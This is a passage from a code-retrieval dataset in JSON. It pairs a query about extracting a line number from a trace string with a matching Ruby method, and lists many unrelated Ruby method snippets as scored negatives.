\"That section is not included in the current extraction form.\"\n redirect_to edit_project_study_path(params[:project_id], @study.id)\t\t\t\t\n end\n # Now get any additional user instructions for this section\n @user_instructions = EfInstruction.find(:first, :conditions=>[\"ef_id = ? and section = ? and data_element = ?\", efid, \"DIAGNOSTIC_TESTS\", \"GENERAL\"])\n @user_instructions = @user_instructions.nil? ? \"\" : @user_instructions.instructions\n render :layout=>false\n end",
"def filters; end",
"def filters; end",
"def hiddenSingle()\n\t\tlisteCase = Array.new\n\t\[email protected]().each do |x,y,laCase|\n\t\t\tif (laCase.getSolutionJoueur() == nil)\n\t\t\t\t\n\t\t\t\tif x%3 == 2\n\t\t\t\t\tlig1 = x-1\n\t\t\t\t\tlig2 = x-2\n\t\t\t\telsif x%3 == 1\n\t\t\t\t\tlig1 = x-1\n\t\t\t\t\tlig2 = x+1\n\t\t\t\telse\n\t\t\t\t\tlig1 = x+1\n\t\t\t\t\tlig2 = x+2\n\t\t\t\tend\n\n\t\t\t\tif y%3 == 2\n\t\t\t\t\tcol1 = y-1\n\t\t\t\t\tcol2 = y-2\n\t\t\t\telsif y%3 == 1\n\t\t\t\t\tcol1 = y-1\n\t\t\t\t\tcol2 = y+1\n\t\t\t\telse\n\t\t\t\t\tcol1 = y+1\n\t\t\t\t\tcol2 = y+2\n\t\t\t\tend\n\n\t\t\t\tfor n in (1..9)\n\n\t\t\t\t\tif (@partie.getPlateau.absentRegion(n,x,y) && [email protected]().absentLigne(n, lig1) && [email protected]().absentLigne(n, lig2) && [email protected]().absentColonne(n, col1) && [email protected]().absentColonne(n, col2))\n\t\t\t\t\t\tif n == @partie.getPlateau.getCase(Position.new(x,y)).getSolutionOriginale\n\t\t\t\t\t\t\t# print \"AJOUTER\", x,\"-\",y,\"\\n\"\n\t\t\t\t\t\t\t# print \"\\t\", lig1,\"/\",lig2,\"-\",col1,\"/\",col2,\"\\n\"\n\t\t\t\t\t\t\tlisteCase.push(Position.new(x,y))\n\t\t\t\t\t\telse\n\t\t\t\t\t\t\tprint \"Problème !\"\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\n\t\t# print \"\\n\\tlisteCase\", listeCase\n\n\t\tif listeCase.empty?\n\t\t\t#print \"NIL\"\n\t\t\treturn nil \n\t\tend\n\n\t\treturn listeCase\n\tend",
"def filtered_entries; end",
"def get_chart_info(visualization_id)\n data = Student.all;\n visualization = Visualization.find(visualization_id)\n chart_type = visualization.chart_type\n\n # Repeatedly apply each filter on the dataset\n total = 0\n visualization.filters.each_with_index do |filter, index|\n data = apply_filter(data, filter)\n total = total + summarize(data, 'count')\n puts \">> Applied filter #{index + 1}: #{filter.inspect}\"\n end\n\n # Reverse since for some reason it groups in the wrong order without reversing.\n visualization.variables.reverse.each_with_index do |variable, index|\n if (not variable.name.blank?)\n data = group_by_variable(data, variable)\n puts \">> Set variable #{index + 1} : #{variable.inspect}\"\n else\n puts \"Blank variable name encountered....Skipped grouping by that variable\"\n end\n end\n \n # Final summarization before rendering. Make this more dynamic in the future to support max, min, etc.\n #total = apply_filter(temp, visualization.filters.first).count\n data = summarize(data, 'count')\n \n variable_length = visualization.variables.length\n if (variable_length == 2)\n data.each do |key, value| # Building percentages for each subgroup. Ex. \"CSC\" in major1\n filter_hash = Hash.new # New hash to build a filter\n var = visualization.variables.first #major1 # Filter by the first variable - the \"Group By\" variable\n filter_hash[var.name] = key # Adding entry into hash\n total = Student.all.where(filter_hash).count # Calculates the total to divide the data entry (to produce percentages)\n data[key] = value/total.to_f\n end\n else # Else, divide all data entries by the # of all data entries.\n data.each do |key, value| # Ex. say there are 100 students. If we have \"Group by\" \"major1\", the CSC entry would be interpreted\n data[key] = value/total.to_f # as \"X % of students are CSC majors in major1\"\n end\n end\n\n chart_info = Hash.new # Building chart_info hash\n chart_info[:data] = data\n chart_info[:chart_type] = chart_type\n chart_info[:options] = get_chart_options(visualization_id)\n # Render visualization partial. This partial should have logic to determine which chart to graph\n return chart_info\n end",
"def filter_backtrace_with_lightning_test backtrace, prefix=nil\n rv = filter_backtrace_without_lightning_test(backtrace, prefix)\n rv = filter_backtrace_without_lightning_test(rv, File.dirname(__FILE__))\n rv\n end",
"def absolved_students_with_address\n is = Index.find_for(User.find_by_login('ticha'))\n is = is.select {|i| i.absolved?}.sort {|i, j| i.semester <=> j.semester}\n File.open('absolved_with_address.csv', 'wb') do |outfile|\n CSV::Writer.generate(outfile, ';') do |csv|\n csv << ['absolvoval', 'titul pred', 'jmeno', 'prijmeni', 'titul za', 'ulice', 'mesto', 'psc']\n is.each do |index|\n s = index.student\n if a = s.address and a.street\n csv << [index.disert_theme.defense_passed_on.to_date,\n s.title_before ? s.title_before.label : 'Ing.', s.firstname, s.lastname,\n s.title_after ? s.title_after.label : '', a.street + \" \" + (a.desc_number or a.orient_number or ''), a.city, a.zip]\n end\n end\n end\n end\n end",
"def find_station_lines(station) #calling the relationship between the station and the station line\n station.station_lines\n end",
"def filter(initial_set, task_index)\n\t # WARNING: the value returned by filter is a SUPERSET of the\n\t # possible values for the query. Therefore, the result of\n\t # NegateTaskMatcher#filter is NOT\n\t #\n\t # initial_set - @op.filter(...)\n\t initial_set\n\tend",
"def remove_duplicate_discipline_results(scores)\n cat_4 = find_category(\"Category 4 Men\")\n cat_5 = find_category(\"Category 5 Men\")\n scores_to_delete = []\n cat_4_disciplines = []\n\n scores.each do |score|\n race = score.source_result.race\n if race.category == cat_4 \n cat_4_disciplines << race.discipline\n end\n end\n\n scores.each do |score|\n race = score.source_result.race\n if race.category == cat_5 && cat_4_disciplines.include?(race.discipline)\n logger.debug(\"Cat 4 result already exists: #{race.discipline} results for #{score.source_result.person}: #{race.category.name}\") if logger.debug?\n scores_to_delete << score\n end\n end\n scores_to_delete.each { |score| scores.delete(score) }\n\n scores_to_delete = []\n disciplines = []\n scores.each do |score|\n if disciplines.include?(score.source_discipline)\n logger.debug(\"Multiple #{score.source_discipline} results for #{score.source_result.person}: #{score.source_result.race.category.name}\") if logger.debug?\n scores_to_delete << score\n else\n disciplines << score.source_discipline\n end\n end\n scores_to_delete.each { |score| scores.delete(score) }\n end",
"def filtered_stories_list state, estimated\n options = { with_state: state.to_s }\n stories = [* story_accessor.get(params: options).payload]\n if estimated\n stories.select do |s|\n s.story_type == 'bug' || s.story_type == 'chore' ||\n (s.story_type == 'feature' && s.estimate && s.estimate >= 0)\n end\n else\n stories\n end\n end",
"def functional_group_trailer(batch_id)\n ge_elements = []\n ge_elements << 'GE'\n ge_elements << checks_in_functional_group(batch_id)\n ge_elements << '1'\n ge_elements.join(@element_seperator)\n end",
"def filtered_dataset\n dataset\n end",
"def strip_facets(facets_array, min, total_hits = nil)\n facets = {}\n facets_array.each_slice(2) do |t, ct|\n next if ct < min\n next if total_hits && ct == total_hits\n next if t.start_with?(\"ead/ archdesc/ \")\n facets[t] = ct\n end\n facets\n end",
"def filter_trending_days(topic, trending_days)\n trending_days.select do |day|\n dbday_id = Day.find_by(date: day).id\n !Popularity.exists?(topic_id: topic.id, day_id:dbday_id)\n end\nend",
"def find_lines(prj)\n lines_edges = []\n line_nr = 0\n white_line = false\n 0.upto prj.size() do |i|\n if white_line and prj[i] == 0 \n lines_edges[line_nr] = i\n line_nr = line_nr + 1\n white_line = false\n end\n if not (white_line or prj[i] == 0) \n lines_edges[line_nr] = i\n line_nr = line_nr + 1\n white_line = true\n end\n end\n lines_edges\n end",
"def parse_line line,header,options,bedfilter,samples,template,stats=nil\n fields = VcfLine.parse(line)\n rec = VcfRecord.new(fields,header)\n r = rec # alias\n\n filter = options[:filter]\n sfilter = options[:sfilter]\n efilter = options[:efilter]\n ifilter = options[:ifilter]\n add_filter = options[:add_filter] # contains a filter name (soft filter)\n seval = options[:seval]\n ignore_missing = options[:ignore_missing]\n quiet = options[:quiet]\n set_filter_field = nil\n\n if sfilter or efilter or ifilter or seval\n # check for samples\n header_samples = header.column_names[9..-1]\n raise \"Empty sample list, can not execute query!\" if not header_samples\n end\n\n # --------------------------\n # Filtering and set analysis\n if bedfilter\n bed = bedfilter.contains(rec)\n return if not bed\n end\n\n skip = lambda { |&m|\n matched = m.call\n if add_filter\n set_filter_field = true if matched\n false # always continue processing with an add-filter\n else\n not matched\n end\n }\n\n if filter\n return if skip.call { rec.gfilter(filter,ignore_missing_data: ignore_missing,quiet: quiet) }\n end\n \n if sfilter # sample 'or' filter\n rec.each_sample(options[:sfilter_samples]) do | sample |\n return if skip.call { sample.sfilter(sfilter,ignore_missing_data: ignore_missing,quiet: quiet) }\n end\n end\n\n if ifilter # include sample filter\n found = false\n rec.each_sample(options[:ifilter_samples]) do | sample |\n if sample.ifilter(ifilter,ignore_missing_data: ignore_missing,quiet: quiet)\n found = true\n break\n end\n end\n # Skip if there are no matches\n return if skip.call {found}\n end\n\n if efilter # exclude sample filter\n rec.each_sample(options[:efilter_samples]) do | sample |\n return if skip.call{ sample.efilter(efilter,ignore_missing_data: ignore_missing,quiet: quiet) }\n end\n end\n\n stats.add(rec) if stats\n\n # -----------------------------\n # From here on decide on output\n \n rec.add_to_filter_field(add_filter) if set_filter_field\n\n if samples\n # Select certain samples for output\n newfields = fields[0..8]\n samples.each do |s|\n newfields << fields[s+9] \n end\n fields = newfields\n end\n if options[:eval] or seval\n begin\n results = nil # result string\n if options[:eval] \n res = rec.eval(options[:eval],ignore_missing_data: ignore_missing,quiet: quiet)\n results = res if res\n end\n if seval\n list = (results ? [] : [rec.chr,rec.pos])\n rec.each_sample(options[:sfilter_samples]) { | sample |\n list << sample.eval(seval,ignore_missing_data: ignore_missing,quiet: quiet)\n }\n results = (results ? results.to_s + \"\\t\" : \"\" ) + list.join(\"\\t\")\n end\n rescue => e\n $stderr.print \"\\nLine: \",line\n $stderr.print \"ERROR evaluating --eval <#{options[:eval]}> #{e.message}\\n\"\n raise if options[:verbose]\n exit 1\n end\n return results.to_s+\"\\n\" if results\n else\n if options[:rdf]\n # Output Turtle RDF\n VcfRdf::record(options[:id],rec,options[:tags])\n elsif options[:template]\n # Use ERB template\n begin\n template.body(binding)\n rescue Exception => e\n $stderr.print e,\": \",fields,\"\\n\"\n $stderr.print e.backtrace.inspect if options[:verbose]\n raise \n end\n elsif options[:rewrite]\n # Default behaviour prints VCF line, but rewrite info\n eval(options[:rewrite]) \n (fields[0..6]+[rec.info.to_s]+fields[8..-1]).join(\"\\t\")+\"\\n\"\n elsif stats\n # do nothing\n else\n # Default behaviour prints VCF line\n fields.join(\"\\t\")+\"\\n\"\n end\n end\nend",
"def cohortfilter\n puts \"Please find students by cohort below:\"\n cohort_months = @students.map { |month| month[:cohort]}\n cohort_months.uniq!\n cohort_months.each do |month|\n puts \"Here are the #{month} students\"\n selected_students = @students.select { |student| student[:cohort] == month}\n list(selected_students)\n end\nend",
"def filter(event)\n require 'time'\n host = event.get(\"[agent][name]\")\n logpath = event.get(\"[log][file][path]\")\n implant_id = event.get(\"[implant][id]\")\n timefromcs = event.get(\"[c2][timestamp]\") + \" UTC\"\n timestring = Time.parse(timefromcs).strftime(\"%I%M%S\")\n temppath = logpath.split('/cobaltstrike')\n temppath2 = temppath[1].split(/\\/([^\\/]*)$/)\n screenshoturl = \"/c2logs/\" + \"#{host}\" + \"/cobaltstrike\" + \"#{temppath2[0]}\" + \"/screenshots/screen_\" + \"#{timestring}\" + \"_\" + \"#{implant_id}\" + \".jpg\"\n thumburl = \"/c2logs/\" + \"#{host}\" + \"/cobaltstrike\" + \"#{temppath2[0]}\" + \"/screenshots/screen_\" + \"#{timestring}\" + \"_\" + \"#{implant_id}\" + \".jpg.thumb.jpg\"\n event.tag(\"_rubyparseok\")\n event.set(\"[screenshot][full]\", screenshoturl)\n event.set(\"[screenshot][thumb]\", thumburl)\n return [event]\nend",
"def filter_parameters; end",
"def filter_parameters; end",
"def collect_specimens(data, xschema)\n# specimens = data.find_all { |d| d[\"type\"] =~ /MO:((whole_)?organism(_part)?)|(developmental_)?stage|(worm|fly)_development:|RNA|cell(_line)?|strain_or_line|BioSample|modencode:ADF|MO:genomic_DNA|SO:RNAi_reagent|MO:GrowthCondition|modencode:ShortReadArchive_project_ID(_list)? \\(SRA\\)|MO:CellLine|modencode:GEO_record/ }\n specimens = data\n missing = Array.new\n filtered_specimens = Array.new\n # Make sure that the data we've found of these types actually matches an\n # expected template for cell lines, strains, or stages\n specimens.each { |d|\n attrs = self.get_attributes_for_datum(d[\"data_id\"], xschema)\n if !( \n attrs.find { |a| a[\"heading\"] == \"official name\" }.nil? && \n attrs.find { |a| a[\"heading\"] == \"Cell Type cv\" }.nil? &&\n attrs.find { |a| a[\"heading\"] == \"developmental stage\" }.nil? &&\n attrs.find { |a| a[\"heading\"] == \"strain\" }.nil? \n ) then\n # This datum has an attribute with one of the above headings. All of\n # the headings being checked are from the wiki, and as such are\n # somewhat controlled by templates\n d[\"attributes\"] = attrs\n filtered_specimens.push d\n elsif attrs.find { |attr| attr[\"type\"] == \"modencode:reference\" } then\n # This datum references a datum in an older submission (as with the\n # Celinker RNA samples), so we'll keep it in case it turns out to be an\n # antibody, strain, stage, or cell line\n ref_attr = attrs.find_all { |attr| attr[\"type\"] == \"modencode:reference\" }\n d[\"attributes\"] = attrs\n filtered_specimens.push d\n elsif attrs.find { |attr| attr[\"heading\"] =~ /Characteristics?/ } then\n d[\"attributes\"] = attrs\n filtered_specimens.push d\n elsif d[\"heading\"] =~ /Anonymous Datum/ && d[\"type\"] =~ /MO:((whole_)?organism(_part)?)/ then\n # Occasionally we don't specify the piece of the organism that is\n # collected except as an anonymous output between two protocols. This\n # serves to capture at least whether we've got a whole organism or part\n # of one\n d[\"attributes\"] = Array.new\n filtered_specimens.push d\n elsif d[\"type\"] =~ /MO:(whole_)?organism/ then\n d[\"attributes\"] = attrs\n filtered_specimens.push d\n elsif d[\"type\"] =~ /developmental_stage/ then\n d[\"attributes\"] = attrs\n filtered_specimens.push d\n elsif d[\"type\"] =~ /modencode:ADF/ then\n d[\"attributes\"] = attrs\n filtered_specimens.push d\n elsif d[\"type\"] =~ /SO:RNAi_reagent/ then\n d[\"attributes\"] = attrs\n filtered_specimens.push d\n elsif d[\"type\"] =~ /MO:GrowthCondition/ then\n d[\"attributes\"] = nil\n filtered_specimens.push d\n elsif attrs.find { |a| a[\"type\"] =~ /MO:Compound/i } then\n d[\"attributes\"] = attrs\n filtered_specimens.push d\n elsif d[\"type\"] =~ /modencode:ShortReadArchive_project_ID(_list)? \\(SRA\\)/ then\n d[\"attributes\"] = nil\n filtered_specimens.push d\n elsif attrs.find { |a| a[\"heading\"] == \"RNA ID\" } then\n # Ignore RNA collections\n elsif d[\"value\"].length == 0\n # Ignore empty (probably anonymous) cells\n elsif d[\"type\"] == \"modencode:GEO_record\"\n # Ignore GEO records that aren't references to old submissions\n else\n # Track any specimens that didn't fall into one of the above categories\n # so we can add support for them to the code.\n missing.push d\n end\n }\n # Make sure the list of specimens is unique\n filtered_specimens = filtered_specimens.uniq_by { |d| d[\"attributes\"].nil? ? d[\"value\"] : d[\"attributes\"] }\n\n missing = missing.find_all { |d| d[\"type\"] =~ /MO:((whole_)?organism(_part)?)|(developmental_)?stage|(worm|fly)_development:|RNA|cell(_line)?|strain_or_line|BioSample|modencode:ADF|MO:genomic_DNA|SO:RNAi_reagent|MO:GrowthCondition|modencode:ShortReadArchive_project_ID(_list)? \\(SRA\\)|MO:CellLine|modencode:GEO_record/ }\n # Whine about any missing specimens\n if missing.size > 0 then\n if missing.size > 1 then\n missing = missing[0...2].map { |d| d[\"value\"] + \" (#{d[\"type\"]})\" }.join(\", \") + \", and #{missing.size - 2} more\"\n else\n missing = missing[0][\"value\"] + \" (#{missing[0][\"type\"]})\"\n end\n puts \"Unknown type of specimen: #{missing} for submission #{xschema}\"\n end\n\n return filtered_specimens\n\n end",
"def windows_of_exposure(line)\n\tfields = %w( Preconception Pregnancy Trimester Postnatal Breastfeeding Lifetime Current )\n\tfields.select do |f|\n\t\tline[f] == '1'\n\tend\nend",
"def create_new_traces\n @traces.each do |trace|\n trace_stack = trace.stack_to_render[0]\n unless(trace_stack.func_name.include? '<init>')\n trace_stack_ordered_variable_names = trace_stack.ordered_varnames\n trace_stack_encoded_locals = trace_stack.encoded_locals\n trace_heap = trace.heap\n trace_code = @code[trace.line]\n filtered_trace = filter_trace([\n trace_stack_ordered_variable_names,\n trace_stack_encoded_locals,\n trace_heap,\n trace_code,\n trace.line\n ])\n @new_traces << filtered_trace\n trace_string = Yajl::Encoder.encode(filtered_trace)\n @traces_json_array << trace_string\n @traces_json_string += trace_string + ','\n end\n end\n end",
"def index\n @sighting = Sighting.where(:user_id => current_user.id)\n @location = Location.new\n @location.user_id = current_user.id\n\n\n @complaints_filter= Sighting.where(\"user_id != ?\",current_user.id).where(\"status != ?\",true)\n\n @complaints_filter2= Directsighting.where(\"status != ?\",true)\n\n @complaints_attending= Sighting.where(:rescuer_id => current_user.id)\n end",
"def get_qr_qwr_wl_lines_by_streams\r\n lines_by_streams = Hash.new\r\n # Create arrays for each stream\r\n Stream.find(:all).each do |s| \r\n # lines_by_streams[s.id] = Array.new\r\n lines_by_streams[s.id] = Hash.new\r\n lines_by_streams[s.id][\"prev\"] = 0\r\n lines_by_streams[s.id][\"sum\"] = 0\r\n lines_by_streams[s.id][\"qs_prev\"] = 0\r\n lines_by_streams[s.id][\"spider_prev\"] = 0\r\n lines_by_streams[s.id][\"qs_sum\"] = 0\r\n lines_by_streams[s.id][\"spider_sum\"] = 0\r\n end\r\n # Add wl_lines to corresponding stream\r\n wl_lines.each { |wl|\r\n if wl.project\r\n # Stream\r\n s = Stream.find_with_workstream(wl.project.workstream)\r\n # Previsional\r\n if(wl.wl_type == 110)\r\n lines_by_streams[s.id][\"prev\"] = lines_by_streams[s.id][\"prev\"] + (wl.project.calcul_qs_previsional.to_f * APP_CONFIG['qs_load'].to_f)\r\n lines_by_streams[s.id][\"qs_prev\"] = lines_by_streams[s.id][\"qs_prev\"] + (wl.project.calcul_qs_previsional.to_f * APP_CONFIG['qs_load'].to_f)\r\n lines_by_streams[s.id][\"qs_sum\"] = lines_by_streams[s.id][\"qs_sum\"] + wl.planned_sum.to_f \r\n lines_by_streams[s.id][\"sum\"] = lines_by_streams[s.id][\"sum\"] + wl.planned_sum.to_f\r\n elsif(wl.wl_type == 120)\r\n lines_by_streams[s.id][\"prev\"] = lines_by_streams[s.id][\"prev\"] + (wl.project.calcul_spider_previsional.to_f * APP_CONFIG['spider_load'].to_f)\r\n lines_by_streams[s.id][\"spider_prev\"] = lines_by_streams[s.id][\"spider_prev\"] + (wl.project.calcul_spider_previsional.to_f * APP_CONFIG['spider_load'].to_f)\r\n lines_by_streams[s.id][\"spider_sum\"] = lines_by_streams[s.id][\"spider_sum\"] + wl.planned_sum.to_f\r\n lines_by_streams[s.id][\"sum\"] = lines_by_streams[s.id][\"sum\"] + wl.planned_sum.to_f\r\n end\r\n end \r\n }\r\n return lines_by_streams\r\n end",
"def functional_group_trailer(batch_id)\n ge_elements = []\n ge_elements << 'GE'\n ge_elements << checks_in_functional_group(batch_id)\n ge_elements << (@isa_record.isa_number.to_s.rjust(9, '0') if @isa_record)\n ge_elements.join(@element_seperator)\n end",
"def backtrace_filter(&block)\n Agent.backtrace_filter(&block)\n end",
"def stig_findings(category=\"I\")\n\t\t\t\t\twhere('plugin_id IN (:plugins)', :plugins => Plugin.where(:stig_severity => category).select(:id)).order(\"severity DESC\")\n\t\t\t\tend",
"def get_ead_subject_facets(subjects = Array.new)\n subjects << search(\"//*[local-name()='subject' or local-name()='function' or local-name() = 'occupation']\")\n return clean_facets_array(subjects.flatten.map(&:text))\n end",
"def previous_year_sub_group_for_solr\n result_array = []\n #Get the groupings for the current year\n year_groups = FacetHelper.event_facet_previous_years(Time.now.year)\n years = associated_years\n logger.debug \"YEARS TO CHECK:#{years.join(',')}\"\n for year in years\n logger.debug \"CHECKING:#{year}\"\n #check the year against the \n for key in year_groups.keys\n logger.debug \" CHECKING:key #{key}\"\n ruby_statement = year_groups[key]\n y = year.to_i\n evaluation = eval(ruby_statement) \n logger.debug \" EVALUATION: #{y} against #{ruby_statement} = *#{evaluation}*\"\n if evaluation == true\n result_array << key\n break\n end\n end\n end\n \n result_array.uniq.sort.join(', ')\n end",
"def read_lesson_standard_filters(set_id, subject)\n response = @mech.post(URLS[:lesson_standard_filters], {setId: set_id, subject: subject})\n\n return JSON.parse(response.content)\n end",
"def filtro_sprint\n\n arquivo = 'mantis.csv'\n bugs = []\n\n #For each\n (14..16).each do |sprints|\n\n #Filtro do Projeto\n find(:css, '#custom_field_43_filter').click\n find(:css, \"#custom_field_43_filter_target > select > option:nth-child(#{sprints})\").click\n \n #Bugs\n find(:id, 'show_category_filter').click\n find(:css, '#show_category_filter_target > select > option:nth-child(2)').click\n click_button 'Aplicar Filtro'\n \n sprint = (\"#{sprints-1}\")\n internos = (\"#{contador_bugs}\")\n \n #Bugs do Cliente\n find(:id, 'show_category_filter').click\n find(:css, '#show_category_filter_target > select > option:nth-child(3)').click\n click_button 'Aplicar Filtro'\n \n cliente = (\"#{contador_bugs}\")\n bugs.push(\"\\n#{sprint}\")\n bugs.push(internos)\n bugs.push(cliente)\n end\n\n #Tratando os dados e Salvando no CSV\n dados = \"Sprint, Bugs Internos, Bugs Cliente\" + bugs.map{ |i| \"#{i}\"}.join(\",\")\n salvar(arquivo, dados)\n end",
"def filter(values); end",
"def filter(values); end",
"def filter(values); end",
"def solve_by_grouping (matrix, solver_results, i, trace, solution_trace)\n\tif i > 0\n\t\tflist = solver_results.group_by {|ans_arr| ans_arr[i]}\n\t\tflist.keys.each do |word|\n\t\t\tif(find_word_in_matrix(matrix, word))\n\t\t\t\tcopy_trace = trace.dup.push(word)\n\t\t\t\tsolve_by_grouping(matrix, flist[word], i - 1, copy_trace, solution_trace)\n\t\t\tend\n\t\tend\t\t\t\n\telse\n\t\tflist = solver_results.group_by {|ans_arr| ans_arr[i]}\n\t\tflist.keys.each do |word|\n\t\t\tif(find_word_in_matrix(matrix, word))\n\t\t\t\tcopy_trace = trace.dup.push(word)\n\t\t\t\tsolution_trace << copy_trace\n\t\t\tend\n\t\tend\t\t\n\tend\nend",
"def apply_data_filtering_just_for_presentation(all_time_rating_values)\n \n filtered = {}\n \n previous_timestamp = nil\n previous_rating = -1\n all_time_rating_values.sort.each_with_index do | map , idx |\n \n # scenarion and rule: if within one day and rating not change, \n logger.debug \"map key: #{map.key} => value #{map.value} .... idx : #{idx}\"\n \n # copy to timestamp for comparing and judging\n previous_timestamp = map.key\n previous_rating = map.value\n \n end\n \n filtered = all_time_rating_values\n return filtered\n end"
] | [
"0.58075714",
"0.54273003",
"0.540387",
"0.5100983",
"0.5027973",
"0.50176746",
"0.50176746",
"0.5012923",
"0.49923772",
"0.49602386",
"0.4937663",
"0.49290845",
"0.4912477",
"0.48956367",
"0.48954368",
"0.4892914",
"0.48877412",
"0.48835197",
"0.48743933",
"0.48680818",
"0.48329613",
"0.48329613",
"0.48329613",
"0.48206338",
"0.48173526",
"0.48160204",
"0.47895703",
"0.47789484",
"0.4769287",
"0.47537377",
"0.47208363",
"0.47139737",
"0.47007245",
"0.46991438",
"0.46925882",
"0.46860188",
"0.46804014",
"0.46555027",
"0.4653424",
"0.46353287",
"0.46349317",
"0.46276483",
"0.4624894",
"0.46228647",
"0.46211937",
"0.46178627",
"0.46170175",
"0.4610774",
"0.46093655",
"0.46088773",
"0.45987064",
"0.4564421",
"0.45593995",
"0.45575768",
"0.45500553",
"0.45499584",
"0.45421275",
"0.45291334",
"0.45272997",
"0.4519153",
"0.45107472",
"0.4510333",
"0.45052588",
"0.45052588",
"0.4504978",
"0.45019278",
"0.4500182",
"0.44935012",
"0.44903308",
"0.4486859",
"0.44793463",
"0.44769838",
"0.44669175",
"0.4461986",
"0.44595036",
"0.4458207",
"0.44530576",
"0.44504428",
"0.44387072",
"0.44378915",
"0.44369626",
"0.44329697",
"0.44329697",
"0.44272798",
"0.44213653",
"0.44200474",
"0.44175345",
"0.44015047",
"0.43992412",
"0.43991923",
"0.4398963",
"0.43983424",
"0.4393536",
"0.43918243",
"0.4391406",
"0.43911675",
"0.43911675",
"0.43911675",
"0.43889385",
"0.43779635"
] | 0.43881845 | 99 |
Extracts the code line number form the given trace string | def extract_line_num(string)
line = string.tr '"', ' '
line.tr! '{', ' '
line.tr! ':', ' '
line.tr! ',', ' '
line.tr! '[', ' '
line.tr! '(', ' '
line.tr! ']', ' '
line.tr! '}', ' '
line.tr! ')', ' '
new_line = []
line.split.each do |s|
new_line << s.to_i if s.numeric?
end
new_line[0]
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def get_trace_id(line)\n return line.split(\"\\t\")[1].to_i\nend",
"def extract_line_number(backtrace)\n return unless backtrace\n backtrace = backtrace.to_a\n return unless backtrace.length > 1\n m = backtrace.first.match(/^.+:(\\d+):/)\n return unless m and m.length > 1\n m[1]\n end",
"def line_number\n return unless backtrace and backtrace[0]\n\n backtrace[0].split(\":\")[1].to_i\n end",
"def line_from_stack_string(s)\n s.match(/[^:]+:(\\d+)/)[1].to_i\nend",
"def lineNum()\n caller_infos = caller.first.split(\":\")\n # Note caller_infos[0] is file name\n # caller_infos[1]\n return \"Line no. #{caller_infos[1]}\"\nend",
"def line\n backtrace[0].match(Pattern)[1].to_i + 1\n end",
"def get_line(code)\n return code[2][0]\n end",
"def lineNum()\n caller_infos = caller.first.split(\":\")\n # Note caller_infos[0] is file name\n caller_infos[1]\nend",
"def parse_debug_line_number(number_as_string)\n # Deduct 1 because kakoune always maintains an extra empty line at the end of the debug buffer.\n number_as_string.to_i - 1\nend",
"def parse_crash_line(crash_line_index)\n crash_line_end_index = @log_string.index(\"\\n\", crash_line_index)\n crash_line = @log_string[crash_line_index...crash_line_end_index]\n #Assumptions: module name may not have \\t in it. function name may not have '+' in it unless\n #it's a +[ at the start (for objc class methods)\n if crash_line =~ /\\d+\\s+([^\\t]+)\\t(\\S+) ([+]?[^+]+)\\+ (\\d+)/ #\n # p $&\n module_name = $1.rstrip\n instruction_address = $2\n function_name = $3.rstrip #get rid of trailing space\n function_offset = $4\n return [module_name, crash_line_end_index, function_name, function_offset, instruction_address]\n else\n #not necessarily a bug.\n dputs \"crash line not found in #{@log_path}\"\n end\n return nil\n end",
"def get_lineno\n RubyVM::Frame.get(1).source_location[0]\n end",
"def __caller_line_number__(caller_depth=0)\n return if RUBY_ENGINE == 'opal'\n caller[caller_depth] && caller[caller_depth][PutsDebuggerer::STACK_TRACE_CALL_LINE_NUMBER_REGEX, 1].to_i\n end",
"def find_calling_line(trace, method_name)\n trace.each_cons(2) do |line, next_line|\n if /(.*):(\\d+):in .(.*)'/ =~ line && \n $3 == method_name &&\n /(.*):(\\d+):in .(.*)'/ =~ next_line\n return [$1,$2]\n end\n end\n nil\n end",
"def original_line_number(new_line)\n # First of all, convert the line number to an integer\n new_line = new_line.to_i\n\n if @phase == :execute\n # It's the execute phase, so we have more to do\n if @augmented_code.nil?\n # We haven't augmented the code with line numbers or anything\n number_of_prepended_lines = make_runnable(\"\").count(\"\\n\")\n return new_line - number_of_prepended_lines\n\n else\n # Pull the offending line out of the augmented code\n augmented_code_lines = @augmented_code.lines\n if new_line > augmented_code_lines.length\n # We were not able to find the line the error message refers to. Shouldn't happen.\n return \"<unbekannt>\"\n else\n # Check if the line has a line number comment\n ln = PythonCodeAugmenter.extract_line_number(augmented_code_lines[new_line - 1])\n if ln.nil?\n return \"<unbekannt>\"\n else\n return ln\n end\n end\n end\n\n else\n # It's not the execute phase, so we can simply return the line number\n return new_line\n end\n end",
"def parse_source_location(caller)\n case caller\n when Exception\n trace = caller.backtrace.reject{ |bt| bt =~ INTERNALS }\n caller = trace.first\n when Array\n caller = caller.first\n end\n caller =~ /(.+?):(\\d+(?=:|\\z))/ or return \"\"\n source_file, source_line = $1, $2.to_i\n return source_file, source_line\n end",
"def parse_source_location(caller)\n case caller\n when Exception\n trace = caller.backtrace #.reject{ |bt| bt =~ INTERNALS }\n caller = trace.first\n when Array\n caller = caller.first\n end\n caller =~ /(.+?):(\\d+(?=:|\\z))/ or return \"\"\n source_file, source_line = $1, $2.to_i\n return source_file, source_line\n end",
"def line\n backtrace.first.split(\":\")[1]\n end",
"def possibly_add_trace_info_calls(line)\n # If the current line does not start a logical line, don't bother\n if not @state[:ll_start]\n return line\n end\n\n # We will be making decisions based on the first word on the line\n line_words = line.split\n if line_words.empty?\n # The line is empty, so we disregard it\n return line\n end\n first_word = line_words[0]\n\n # Extract first word and check if it makes us want to refrain from adding a line number call\n if KEYWORDS_WITHOUT_LINE_NUMBERS.include?(first_word)\n # It's one of the statements we don't want\n return line\n\n elsif [\"'\", '\"', \"#\"].include?(first_word[0])\n # The line starts with a string or with a comment\n return line\n end\n\n # Do include a line number call\n return \"#{@state[:indent_string]}garbledwebpiratenlibraryname.debug(locals(), globals())\\n\" +\n \"#{@state[:indent_string]}garbledwebpiratenlibraryname.line(#{@state[:line_number]})\\n\" +\n \"#{line}\"\n end",
"def lineNum() # Had to move this to above the first call or it didn't work. Didn't think that was necessary\n caller_infos = caller.first.split(\":\")\n # Note caller_infos[0] is file name\n caller_infos[1]\nend",
"def line_code\n @attrs['Line']\n end",
"def line_number\n number[6..-1]\n end",
"def line_number=(_arg0); end",
"def line_number=(_arg0); end",
"def line_number=(_arg0); end",
"def compute_line_index\n scanner = StringScanner.new(@string)\n result = [0] # first line starts at 0\n while scanner.scan_until(/\\n/)\n result << scanner.pos\n end\n @line_index = result\n end",
"def get_line_number(error)\n error_to_line_number(error, get_doc(error.test_execution.artifact, error.file_name))\n end",
